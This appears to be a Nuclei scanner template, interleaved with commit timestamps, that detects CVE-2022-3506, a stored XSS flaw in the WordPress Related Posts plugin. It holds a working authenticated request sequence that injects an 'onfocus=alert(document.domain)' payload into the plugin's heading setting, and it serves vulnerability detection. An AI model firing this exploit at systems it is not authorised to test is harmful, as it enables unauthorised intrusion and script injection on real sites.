2022-11-27 07:44:09 +00:00
id : CVE-2022-3506
info :
2022-12-13 20:36:48 +00:00
name : WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
2022-11-27 07:44:09 +00:00
author : arafatansari
severity : medium
description : |
2022-12-13 20:36:48 +00:00
WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
2023-09-06 11:59:08 +00:00
remediation : |
Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
2022-11-27 07:44:09 +00:00
reference :
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
2022-12-01 07:37:05 +00:00
- https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
- https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
2022-12-13 20:36:48 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-3506
2022-12-01 07:37:05 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
cve-id : CVE-2022-3506
cwe-id : CWE-79
2023-10-22 12:16:24 +00:00
epss-score : 0.00135
2024-01-14 13:49:27 +00:00
epss-percentile : 0.48543
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:never5:related_posts:*:*:*:*:*:wordpress:*:*
2022-11-29 14:51:51 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : never5
product : related_posts
2023-09-06 11:59:08 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5
2022-11-27 07:44:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-28 07:49:50 +00:00
- raw :
2022-11-27 07:44:09 +00:00
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-11-28 07:49:50 +00:00
2022-11-29 14:51:51 +00:00
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
Host : {{Hostname}}
2022-11-27 07:44:09 +00:00
- |
POST /wp-admin/options.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2022-11-28 07:49:50 +00:00
2022-11-29 14:51:51 +00:00
option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
2022-11-27 07:44:09 +00:00
- |
GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
Host : {{Hostname}}
matchers :
2022-11-29 14:51:51 +00:00
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- "contains(header_4, 'text/html')"
2022-11-29 14:51:51 +00:00
- "status_code_4 == 200"
- 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
- "contains(body_4, 'The amount of automatically')"
condition : and
extractors :
- type : regex
name : nonce
group : 1
regex :
- 'name="_wpnonce" value="([0-9a-z]+)" />'
internal : true
2023-07-11 19:49:27 +00:00
part : body
2024-01-26 08:31:11 +00:00
# digest: 490a004630440220183c07929c3a6fa76dbd9ae9c9682952d3b03b59c1ff34cf40687d299cfb671b022070f05c9efb0883a2b4afd38a695f1868ab9b6e7d4d0a3356e1fc0e8be2a02643:922c64590222798bb761d5b6d8e72950